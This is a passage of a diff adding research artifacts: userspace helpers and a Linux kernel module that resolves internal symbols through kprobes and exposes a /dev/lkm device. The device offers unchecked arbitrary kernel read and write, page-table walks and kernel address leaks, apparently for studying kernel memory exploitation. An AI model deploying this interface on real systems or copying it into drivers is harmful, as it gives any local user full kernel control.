if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_ARB_FREE, (size_t)&msg);
|
||||
}
|
||||
void lkm_arb_free(size_t kaddr)
|
||||
{
|
||||
int ret = __lkm_arb_free(kaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_arb_pagetable_wald(size_t uaddr, size_t *pgde, size_t *pude, size_t *pmde, size_t *pte)
|
||||
{
|
||||
msg_t msg = {
|
||||
.ptw = {
|
||||
.uaddr = uaddr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
int ret = ioctl(lkm_fd, LKM_PAGETABLE_WALK, (unsigned long)&msg);
|
||||
if (!ret) {
|
||||
if (pgde) *pgde = msg.ptw.pgde;
|
||||
if (pude) *pude = msg.ptw.pude;
|
||||
if (pmde) *pmde = msg.ptw.pmde;
|
||||
if (pte) *pte = msg.ptw.pte;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
void lkm_arb_pagetable_wald(size_t uaddr, size_t *pgde, size_t *pude, size_t *pmde, size_t *pte)
|
||||
{
|
||||
int ret = __lkm_arb_pagetable_wald(uaddr, pgde, pude, pmde, pte);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int lkm_is_4kb(size_t addr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.ap = {
|
||||
.addr = addr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_IS_4KB, (unsigned long)&msg);
|
||||
}
|
73
artifacts/include/utils.h
Normal file
73
artifacts/include/utils.h
Normal file
|
@ -0,0 +1,73 @@
|
|||
#pragma once
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
#include <time.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/resource.h>
|
||||
|
||||
void set_limit(void)
|
||||
{
|
||||
int ret;
|
||||
struct rlimit l = {
|
||||
.rlim_cur = 100000,
|
||||
.rlim_max = 100000,
|
||||
};
|
||||
ret = setrlimit(RLIMIT_NOFILE, &l);
|
||||
if (ret < 0) {
|
||||
perror("setrlimit");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void pin_to_core(size_t core)
|
||||
{
|
||||
int ret;
|
||||
cpu_set_t cpuset;
|
||||
|
||||
CPU_ZERO(&cpuset);
|
||||
CPU_SET(core, &cpuset);
|
||||
|
||||
ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuset);
|
||||
if (ret) {
|
||||
perror("sched_setaffinity: ");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t mem_total_rounded;
|
||||
void get_total_memory(void)
|
||||
{
|
||||
FILE *fp;
|
||||
char input[100];
|
||||
|
||||
size_t mem_total_kb;
|
||||
|
||||
/* Open the command for reading. */
|
||||
fp = popen("awk '/MemTotal/ { print $2 }' /proc/meminfo", "r");
|
||||
if (fp == NULL) {
|
||||
printf("[!] Failed to get MemTotal\n" );
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* Read the output a line at a time - output it. */
|
||||
if (fgets(input, sizeof(input), fp) != NULL) {
|
||||
mem_total_kb = atoi(input);
|
||||
if (mem_total_kb == 0) {
|
||||
printf("[!] Failed to convert MemTotal\n" );
|
||||
exit(1);
|
||||
}
|
||||
mem_total_rounded = (mem_total_kb+(1<<20)-1)/(1<<20) << 30;
|
||||
printf("[*] MemTotal: %luB\n", mem_total_rounded);
|
||||
}
|
||||
else {
|
||||
printf("[!] Failed to get MemTotal\n" );
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* close */
|
||||
pclose(fp);
|
||||
}
|
857
artifacts/lkm.c
Normal file
857
artifacts/lkm.c
Normal file
|
@ -0,0 +1,857 @@
|
|||
#include <linux/device.h>
|
||||
#include <linux/kernel.h>
|
||||
#include <linux/module.h>
|
||||
#include <asm/io.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/pgtable.h>
|
||||
#include <asm/pgtable_64.h>
|
||||
#include <linux/kprobes.h>
|
||||
#include <linux/ipc_namespace.h>
|
||||
#include <linux/msg.h>
|
||||
#include <linux/fdtable.h>
|
||||
#include <linux/fs.h>
|
||||
#include <linux/pipe_fs_i.h>
|
||||
|
||||
#include "include/lkm.h"
|
||||
|
||||
#define DEVICE_NAME "lkm"
|
||||
#define CLASS_NAME "lkmclass"
|
||||
|
||||
int lkm_init_device_driver(void);
|
||||
static int lkm_init(void);
|
||||
static void lkm_cleanup(void);
|
||||
int lkm_open(struct inode *inode, struct file *filp);
|
||||
int lkm_release(struct inode *inode, struct file *filep);
|
||||
long lkm_ioctl(struct file *file, unsigned int num, long unsigned int param);
|
||||
void lkm_alloc(size_t id, size_t loc, size_t size);
|
||||
pte_t *page_walk_pte(size_t addr);
|
||||
void dpm_test(void);
|
||||
void bpf_dpm_split(size_t size);
|
||||
|
||||
static struct file_operations lkm_fops = {
|
||||
.owner = THIS_MODULE,
|
||||
.open = lkm_open,
|
||||
.release = lkm_release,
|
||||
.unlocked_ioctl = lkm_ioctl,
|
||||
};
|
||||
|
||||
static int lkm_major;
|
||||
static struct class *lkm_class;
|
||||
static struct device *lkm_device;
|
||||
|
||||
static pgd_t *_init_top_pgt;
|
||||
static void *(*module_alloc)(unsigned long);
|
||||
static int (*set_memory_rox)(unsigned long, int);
|
||||
struct msg_queue;
|
||||
struct msg_queue *(*ipc_obtain_object_check)(struct ipc_ids *ns, int id);
|
||||
unsigned long slub_addr_base;
|
||||
unsigned long __text;
|
||||
unsigned long vmemmap_base;
|
||||
unsigned long vmalloc_base;
|
||||
unsigned long __end;
|
||||
static struct kprobe kp = {
|
||||
.symbol_name = "init_top_pgt"
|
||||
};
|
||||
static struct kprobe kp1 = {
|
||||
.symbol_name = "module_alloc"
|
||||
};
|
||||
static struct kprobe kp2 = {
|
||||
.symbol_name = "set_memory_rox"
|
||||
};
|
||||
static struct kprobe kp3 = {
|
||||
.symbol_name = "ipc_obtain_object_check"
|
||||
};
|
||||
static struct kprobe kp4 = {
|
||||
.symbol_name = "slub_addr_base"
|
||||
};
|
||||
static struct kprobe kp5 = {
|
||||
.symbol_name = "_text"
|
||||
};
|
||||
static struct kprobe kp6 = {
|
||||
.symbol_name = "vmemmap_base"
|
||||
};
|
||||
static struct kprobe kp7 = {
|
||||
.symbol_name = "vmalloc_base"
|
||||
};
|
||||
static struct kprobe kp8 = {
|
||||
.symbol_name = "__brk_dmi_alloc"
|
||||
};
|
||||
|
||||
#define OBJS_SZ (1ULL << 20)
|
||||
void *objs[OBJS_SZ];
|
||||
|
||||
/*
|
||||
* Initialization device driver
|
||||
*/
|
||||
#define V5_15
|
||||
#define V6_5
|
||||
#define V6_6
|
||||
#define V6_8
|
||||
int lkm_init_device_driver(void)
|
||||
{
|
||||
int ret;
|
||||
printk(KERN_INFO "lkm:init_device_driver: start\n");
|
||||
|
||||
ret = register_chrdev(0, DEVICE_NAME, &lkm_fops);
|
||||
if (ret < 0) goto ERROR;
|
||||
lkm_major = ret;
|
||||
#if defined(V6_5) || defined(V6_8) || defined(V6_6)
|
||||
lkm_class = class_create(CLASS_NAME);
|
||||
#else
|
||||
lkm_class = class_create(0, CLASS_NAME);
|
||||
#endif
|
||||
if (IS_ERR(lkm_class)) {
|
||||
ret = PTR_ERR(lkm_class);
|
||||
goto ERROR1;
|
||||
}
|
||||
|
||||
lkm_device = device_create(lkm_class, 0, MKDEV(lkm_major, 0), 0, DEVICE_NAME);
|
||||
if (IS_ERR(lkm_device)) {
|
||||
ret = PTR_ERR(lkm_device);
|
||||
goto ERROR2;
|
||||
}
|
||||
|
||||
printk(KERN_INFO "lkm:init_device_driver: done '/dev/%s c %d' 0 created\n", DEVICE_NAME, lkm_major);
|
||||
return 0;
|
||||
|
||||
ERROR2:
|
||||
printk(KERN_ERR "lkm:init_device_driver: class destroy\n");
|
||||
class_unregister(lkm_class);
|
||||
class_destroy(lkm_class);
|
||||
ERROR1:
|
||||
printk(KERN_ERR "lkm:init_device_driver: unregister chrdev\n");
|
||||
unregister_chrdev(lkm_major, CLASS_NAME);
|
||||
ERROR:
|
||||
printk(KERN_ERR "lkm:init_device_driver: fail %d\n", ret);
|
||||
lkm_device = 0;
|
||||
lkm_class = 0;
|
||||
lkm_major = -1;
|
||||
return ret;
|
||||
}
|
||||
|
||||
/*
|
||||
* Initialization
|
||||
*/
|
||||
static int lkm_init(void)
|
||||
{
|
||||
int ret;
|
||||
printk(KERN_INFO "lkm:init: start\n");
|
||||
|
||||
ret = lkm_init_device_driver();
|
||||
if (ret) goto ERROR;
|
||||
|
||||
register_kprobe(&kp);
|
||||
_init_top_pgt = (void *)kp.addr;
|
||||
register_kprobe(&kp1);
|
||||
module_alloc = (void *(*)(unsigned long))kp1.addr;
|
||||
register_kprobe(&kp2);
|
||||
set_memory_rox = (int(*)(unsigned long, int))kp2.addr;
|
||||
register_kprobe(&kp3);
|
||||
ipc_obtain_object_check = (struct msg_queue *(*)(struct ipc_ids *, int))kp3.addr;
|
||||
register_kprobe(&kp4);
|
||||
slub_addr_base = *(unsigned long *)kp4.addr;
|
||||
register_kprobe(&kp5);
|
||||
__text = (unsigned long)kp5.addr;
|
||||
register_kprobe(&kp6);
|
||||
vmemmap_base = *(unsigned long *)kp6.addr;
|
||||
register_kprobe(&kp7);
|
||||
vmalloc_base = *(unsigned long *)kp7.addr;
|
||||
register_kprobe(&kp8);
|
||||
__end = (unsigned long)kp8.addr;
|
||||
|
||||
printk(KERN_INFO "lkm:init: init_top_pgt %016zx\n", (size_t)_init_top_pgt);
|
||||
printk(KERN_INFO "lkm:init: lkm_class %016zx\n", (size_t)lkm_class);
|
||||
printk(KERN_INFO "lkm:init: lkm_ioctl %016zx\n", (size_t)lkm_ioctl);
|
||||
|
||||
printk(KERN_INFO "lkm:init: done\n");
|
||||
return 0;
|
||||
|
||||
ERROR:
|
||||
printk(KERN_ERR "lkm:init: error\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
/*
|
||||
* Cleanup
|
||||
*/
|
||||
static void lkm_cleanup(void)
|
||||
{
|
||||
printk(KERN_INFO "lkm:cleanup\n");
|
||||
unregister_kprobe(&kp);
|
||||
unregister_kprobe(&kp1);
|
||||
unregister_kprobe(&kp2);
|
||||
unregister_kprobe(&kp3);
|
||||
unregister_kprobe(&kp4);
|
||||
unregister_kprobe(&kp5);
|
||||
unregister_kprobe(&kp6);
|
||||
unregister_kprobe(&kp7);
|
||||
unregister_kprobe(&kp8);
|
||||
device_destroy(lkm_class, MKDEV(lkm_major, 0));
|
||||
class_unregister(lkm_class);
|
||||
class_destroy(lkm_class);
|
||||
unregister_chrdev(lkm_major, DEVICE_NAME);
|
||||
}
|
||||
|
||||
/*
|
||||
* Close "/dev/lkm"
|
||||
*/
|
||||
int lkm_release(struct inode *inode, struct file *filep)
|
||||
{
|
||||
printk(KERN_INFO "lkm:release\n");
|
||||
module_put(THIS_MODULE);
|
||||
return 0;
|
||||
}
|
||||
EXPORT_SYMBOL(lkm_release);
|
||||
|
||||
/*
|
||||
* Open "/dev/lkm"
|
||||
*/
|
||||
int lkm_open(struct inode *inode, struct file *filp)
|
||||
{
|
||||
printk(KERN_INFO "lkm:open\n");
|
||||
try_module_get(THIS_MODULE);
|
||||
return 0;
|
||||
}
|
||||
EXPORT_SYMBOL(lkm_open);
|
||||
|
||||
#pragma GCC push_options
|
||||
#pragma GCC optimize ("O0")
|
||||
void lkm_alloc(size_t id, size_t loc, size_t size)
|
||||
{
|
||||
switch (loc) {
|
||||
case 0:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 1:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 2:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 3:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 4:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 5:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 6:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 7:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 8:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 9:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 10:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 11:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 12:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 13:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 14:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 15:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 16:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 17:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 18:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 19:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 20:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 21:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 22:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 23:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 24:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 25:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 26:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 27:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 28:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 29:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 30:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
case 31:
|
||||
objs[id] = kmalloc(size, GFP_KERNEL);
|
||||
break;
|
||||
default:
|
||||
printk(KERN_ERR "lkm:alloc: invalid loc\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
#pragma GCC pop_options
|
||||
|
||||
pte_t *page_walk_pte(size_t addr)
|
||||
{
|
||||
unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT;
|
||||
pgd_t *pgd;
|
||||
p4d_t *p4d;
|
||||
pud_t *pud;
|
||||
pmd_t *pmd;
|
||||
pte_t *pte;
|
||||
|
||||
if (above != 0 && above != -1UL)
|
||||
return 0;
|
||||
|
||||
pgd = pgd_offset_pgd(_init_top_pgt, addr);
|
||||
if (pgd_none(*pgd))
|
||||
return 0;
|
||||
|
||||
p4d = p4d_offset(pgd, addr);
|
||||
if (!p4d_present(*p4d))
|
||||
return 0;
|
||||
|
||||
pud = pud_offset(p4d, addr);
|
||||
if (!pud_present(*pud))
|
||||
return 0;
|
||||
|
||||
if (pud_large(*pud))
|
||||
return 0;
|
||||
|
||||
pmd = pmd_offset(pud, addr);
|
||||
if (!pmd_present(*pmd))
|
||||
return 0;
|
||||
|
||||
if (pmd_large(*pmd))
|
||||
return 0;
|
||||
|
||||
pte = pte_offset_kernel(pmd, addr);
|
||||
if (pte_none(*pte))
|
||||
return 0;
|
||||
|
||||
return pte;
|
||||
}
|
||||
pmd_t *page_walk_pmd(size_t addr)
|
||||
{
|
||||
unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT;
|
||||
pgd_t *pgd;
|
||||
p4d_t *p4d;
|
||||
pud_t *pud;
|
||||
pmd_t *pmd;
|
||||
|
||||
if (above != 0 && above != -1UL)
|
||||
return 0;
|
||||
|
||||
pgd = pgd_offset_pgd(_init_top_pgt, addr);
|
||||
if (pgd_none(*pgd))
|
||||
return 0;
|
||||
|
||||
p4d = p4d_offset(pgd, addr);
|
||||
if (!p4d_present(*p4d))
|
||||
return 0;
|
||||
|
||||
pud = pud_offset(p4d, addr);
|
||||
if (!pud_present(*pud))
|
||||
return 0;
|
||||
|
||||
if (pud_large(*pud))
|
||||
return 0;
|
||||
|
||||
pmd = pmd_offset(pud, addr);
|
||||
if (!pmd_present(*pmd))
|
||||
return 0;
|
||||
|
||||
return pmd;
|
||||
}
|
||||
|
||||
bool isLargePage(size_t addr)
|
||||
{
|
||||
unsigned long above = ((long)addr) >> __VIRTUAL_MASK_SHIFT;
|
||||
pgd_t *pgd;
|
||||
p4d_t *p4d;
|
||||
pud_t *pud;
|
||||
pmd_t *pmd;
|
||||
pte_t *pte;
|
||||
|
||||
if (above != 0 && above != -1UL)
|
||||
return 0;
|
||||
|
||||
pgd = pgd_offset_pgd(_init_top_pgt, addr);
|
||||
if (pgd_none(*pgd))
|
||||
return 0;
|
||||
|
||||
p4d = p4d_offset(pgd, addr);
|
||||
if (!p4d_present(*p4d))
|
||||
return 0;
|
||||
|
||||
pud = pud_offset(p4d, addr);
|
||||
if (!pud_present(*pud))
|
||||
return 0;
|
||||
|
||||
if (pud_large(*pud))
|
||||
return 0;
|
||||
|
||||
pmd = pmd_offset(pud, addr);
|
||||
if (!pmd_present(*pmd))
|
||||
return 0;
|
||||
|
||||
if (pmd_large(*pmd))
|
||||
return 1;
|
||||
|
||||
pte = pte_offset_kernel(pmd, addr);
|
||||
if (pte_none(*pte))
|
||||
return 0;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void dpm_test(void)
|
||||
{
|
||||
int max_large = 10;
|
||||
size_t start = 0;
|
||||
size_t end = 32ULL*1024ULL*1024ULL*1024ULL;
|
||||
printk(KERN_INFO "lkm:dpm_test: physical mapping paddr [%016zx - %016zx] vaddr [%016zx - %016zx]\n",
|
||||
start, end, (size_t)__va(start), (size_t)__va(end));
|
||||
size_t count = 0;
|
||||
size_t paddr;
|
||||
for (paddr = start; paddr < end; paddr += PMD_SIZE) {
|
||||
size_t vaddr = (size_t)phys_to_virt(paddr);
|
||||
pte_t *pte = page_walk_pte(vaddr);
|
||||
if (pte) {
|
||||
size_t diff = 0;
|
||||
size_t writable = 0;
|
||||
size_t pagecachedisabled = 0;
|
||||
size_t global = 0;
|
||||
size_t _paddr;
|
||||
for (_paddr = paddr; _paddr < paddr + PMD_SIZE; _paddr += PAGE_SIZE) {
|
||||
size_t vaddr = (size_t)phys_to_virt(_paddr);
|
||||
pte_t *pte = page_walk_pte(vaddr);
|
||||
if (!pte) {
|
||||
// printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte 0\n", vaddr);
|
||||
continue;
|
||||
}
|
||||
diff += !!((pte->pte & 0xfff) ^ 0x163);
|
||||
writable += !!(pte->pte & _PAGE_RW);
|
||||
pagecachedisabled += !!(pte->pte & _PAGE_PCD);
|
||||
global += !!(pte->pte & _PAGE_GLOBAL);
|
||||
// printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx pte %016zx\n", vaddr, pte->pte);
|
||||
count++;
|
||||
}
|
||||
printk(KERN_DEBUG "lkm:dpm_test: vaddr %016zx with [%4zd diff] [%4zd wr] [%4zd pcd] [%4zd g]\n", vaddr, diff, writable, pagecachedisabled, global);
|
||||
}
|
||||
else if (max_large > 0 && isLargePage(vaddr))
|
||||
{
|
||||
max_large--;
|
||||
printk(KERN_DEBUG "lkm:dpm_test: 2MB: vaddr %016zx\n", vaddr);
|
||||
}
|
||||
}
|
||||
printk(KERN_INFO "lkm:dpm_test: count/max %5zu/%zu\n", count, (end - start) / PAGE_SIZE);
|
||||
|
||||
pmd_t *_text_pmd = page_walk_pmd(__text);
|
||||
pmd_t *_end_pmd = page_walk_pmd(__end);
|
||||
printk(KERN_INFO "lkm:dpm_text: _text %016zx\n", __text);
|
||||
printk(KERN_INFO "lkm:dpm_text: _end %016zx\n", __end);
|
||||
size_t _text_pa = (size_t)__va(_text_pmd->pmd & 0xfffffffff000);
|
||||
size_t _end_pa = (size_t)__va(_end_pmd->pmd & 0xfffffffff000);
|
||||
printk(KERN_INFO "lkm:dpm_text: _text_pa %016zx %s\n", _text_pa, isLargePage(_text_pa) ? "2MB page" : "4k page");
|
||||
printk(KERN_INFO "lkm:dpm_text: _end_pa %016zx %s\n", _end_pa, isLargePage(_end_pa) ? "2MB page" : "4k page");
|
||||
}
|
||||
|
||||
void bpf_dpm_split(size_t size)
|
||||
{
|
||||
void *obj;
|
||||
pte_t *pte;
|
||||
size_t vaddr;
|
||||
|
||||
obj = module_alloc(size);
|
||||
set_memory_rox((unsigned long)obj, size >> 12);
|
||||
pte = page_walk_pte((unsigned long)obj);
|
||||
vaddr = (size_t)phys_to_virt(pte->pte & 0xffffffffff000);
|
||||
printk(KERN_INFO "obj %016zx vaddr %016zx\n", (unsigned long)obj, vaddr);
|
||||
}
|
||||
|
||||
struct msg_queue {
|
||||
struct kern_ipc_perm q_perm;
|
||||
time64_t q_stime;
|
||||
time64_t q_rtime;
|
||||
time64_t q_ctime;
|
||||
unsigned long q_cbytes;
|
||||
unsigned long q_qnum;
|
||||
unsigned long q_qbytes;
|
||||
struct pid *q_lspid;
|
||||
struct pid *q_lrpid;
|
||||
struct list_head q_messages;
|
||||
struct list_head q_receivers;
|
||||
struct list_head q_senders;
|
||||
};
|
||||
#define IPC_MSG_IDS 1
|
||||
#define msg_ids(ns) ((ns)->ids[IPC_MSG_IDS])
|
||||
static unsigned long msg_copy_to_user(size_t msqid, size_t type)
|
||||
{
|
||||
struct msg_queue *msq;
|
||||
struct msg_msg *msg;
|
||||
struct msg_msg *found = 0;
|
||||
struct ipc_namespace *ns;
|
||||
struct ipc_ids *ids;
|
||||
rcu_read_lock();
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: msqid %ld\n", msqid);
|
||||
ns = current->nsproxy->ipc_ns;
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ns %016zd\n", (unsigned long)ns);
|
||||
ids = &msg_ids(ns);
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: ids %016zd\n", (unsigned long)ids);
|
||||
msq = ipc_obtain_object_check(ids, msqid);
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: msq %016zd\n", (unsigned long)msq);
|
||||
if (IS_ERR(msq))
|
||||
goto RETURN;
|
||||
list_for_each_entry(msg, &msq->q_messages, m_list) {
|
||||
if (msg->m_type == type) {
|
||||
found = msg;
|
||||
// printk(KERN_DEBUG "lkm:msg_copy_to_user: found %016zx\n", (unsigned long)found);
|
||||
break;
|
||||
}
|
||||
}
|
||||
RETURN:
|
||||
rcu_read_unlock();
|
||||
return (unsigned long)found;
|
||||
}
|
||||
|
||||
#ifndef SLAB_BASE_ADDR
|
||||
size_t SLAB_BASE_ADDR = 0;
|
||||
#endif
|
||||
#ifndef SLAB_END_ADDR
|
||||
size_t SLAB_END_ADDR = 0;
|
||||
#endif
|
||||
|
||||
static int bad_address(void *p)
|
||||
{
|
||||
unsigned long dummy;
|
||||
return get_kernel_nofault(dummy, (unsigned long *)p);
|
||||
}
|
||||
|
||||
noinline void pagetable_walk(msg_t *msg)
|
||||
{
|
||||
size_t address = msg->ptw.uaddr;
|
||||
pgd_t *base = __va(read_cr3_pa());
|
||||
pgd_t *pgd = base + pgd_index(address);
|
||||
p4d_t *p4d;
|
||||
pud_t *pud;
|
||||
pmd_t *pmd;
|
||||
pte_t *pte;
|
||||
|
||||
if (bad_address(pgd))
|
||||
goto out;
|
||||
|
||||
// pr_info("PGD %lx ", pgd_val(*pgd));
|
||||
msg->ptw.pgde = pgd_val(*pgd);
|
||||
if (!pgd_present(*pgd))
|
||||
goto out;
|
||||
|
||||
p4d = p4d_offset(pgd, address);
|
||||
if (bad_address(p4d))
|
||||
goto out;
|
||||
|
||||
// pr_cont("P4D %lx ", p4d_val(*p4d));
|
||||
msg->ptw.p4de = p4d_val(*p4d);
|
||||
if (!p4d_present(*p4d) || p4d_large(*p4d))
|
||||
goto out;
|
||||
|
||||
pud = pud_offset(p4d, address);
|
||||
if (bad_address(pud))
|
||||
goto out;
|
||||
|
||||
// pr_cont("PUD %lx ", pud_val(*pud));
|
||||
msg->ptw.pude = pud_val(*pud);
|
||||
if (!pud_present(*pud) || pud_large(*pud))
|
||||
goto out;
|
||||
|
||||
pmd = pmd_offset(pud, address);
|
||||
if (bad_address(pmd))
|
||||
goto out;
|
||||
|
||||
// pr_cont("PMD %lx ", pmd_val(*pmd));
|
||||
msg->ptw.pmde = pmd_val(*pmd);
|
||||
if (!pmd_present(*pmd) || pmd_large(*pmd))
|
||||
goto out;
|
||||
|
||||
pte = pte_offset_kernel(pmd, address);
|
||||
if (bad_address(pte))
|
||||
goto out;
|
||||
|
||||
// pr_cont("PTE %lx", pte_val(*pte));
|
||||
msg->ptw.pte = pte_val(*pte);
|
||||
|
||||
out:
|
||||
// pr_cont("\n");
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
* ioctl code
|
||||
*/
|
||||
long lkm_ioctl(struct file *_, unsigned int num, long unsigned int param)
|
||||
{
|
||||
int ret;
|
||||
msg_t msg;
|
||||
size_t *uaddr = 0;
|
||||
size_t tmp = -1;
|
||||
// void *dummy;
|
||||
size_t id;
|
||||
struct files_struct *files;
|
||||
struct file *file;
|
||||
struct fdtable *fdt;
|
||||
struct pipe_inode_info *pipe;
|
||||
unsigned int tail;
|
||||
unsigned int head;
|
||||
unsigned int mask;
|
||||
|
||||
// printk(KERN_INFO "lkm:ioctl: start num 0x%08x param 0x%016lx\n", num, param);
|
||||
|
||||
ret = copy_from_user((msg_t*)&msg, (msg_t*)param, sizeof(msg_t));
|
||||
if (ret < 0) {
|
||||
printk(KERN_ERR "lkm:ioctl: copy_from_user failed\n");
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
|
||||
switch (num) {
|
||||
|
||||
case LKM_ALLOC:
|
||||
if (msg.al.id >= OBJS_SZ) {
|
||||
printk(KERN_ERR "lkm:ioctl: index %zd too large\n", msg.al.id);
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
if (msg.al.size > 4096) {
|
||||
printk(KERN_ERR "lkm:ioctl: size %zd too big\n", msg.al.size);
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
objs[msg.al.id] = kmalloc(msg.al.size, GFP_KERNEL);
|
||||
break;
|
||||
|
||||
case LKM_FREE:
|
||||
if (msg.fr.id >= OBJS_SZ) {
|
||||
printk(KERN_ERR "lkm:ioctl: %zd too large\n", msg.fr.id);
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
kfree(objs[msg.fr.id]);
|
||||
break;
|
||||
|
||||
case LKM_WRITE:
|
||||
// printk(KERN_INFO "lkm:ioctl: arbitrary write\n");
|
||||
*(size_t *)msg.wr.kaddr = msg.wr.value;
|
||||
break;
|
||||
|
||||
case LKM_READ:
|
||||
// printk(KERN_INFO "lkm:ioctl: arbitrary read\n");
|
||||
tmp = *(size_t *)msg.rd.kaddr;
|
||||
uaddr = (size_t *)msg.rd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_DPM_TEST:
|
||||
dpm_test();
|
||||
break;
|
||||
|
||||
case LKM_ACCESS_PRIMITIVE:
|
||||
*(volatile size_t *)msg.ap.addr;
|
||||
break;
|
||||
|
||||
case LKM_BPF_DPM_SPLIT:
|
||||
// printk(KERN_INFO "lkm:ioctl: bpf dpm split\n");
|
||||
bpf_dpm_split(msg.dpms.size);
|
||||
break;
|
||||
|
||||
case LKM_MSG_MSG_LEAK:
|
||||
tmp = msg_copy_to_user(msg.mrd.msqid, msg.mrd.mtype);
|
||||
uaddr = (size_t *)msg.mrd.uaddr;
|
||||
// printk(KERN_DEBUG "lkm:ioctl: msg_msg leak %16zx\n", tmp);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_DPM_LEAK:
|
||||
tmp = (size_t)__va(0);
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
// printk(KERN_DEBUG "lkm:ioctl: dpm leak %16zx\n", tmp);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_VIRTUAL_BASE_LEAK:
|
||||
tmp = (size_t)slub_addr_base;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
printk(KERN_INFO "lkm:ioctl: slub_addr_base %16zx within [%016zx %016zx]\n", tmp, SLAB_BASE_ADDR, SLAB_END_ADDR);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_SEQ_FILE_LEAK:
|
||||
id = msg.frd.fd;
|
||||
files = current->files;
|
||||
|
||||
spin_lock(&files->file_lock);
|
||||
fdt = files_fdtable(files);
|
||||
file = fdt->fd[id];
|
||||
spin_unlock(&files->file_lock);
|
||||
|
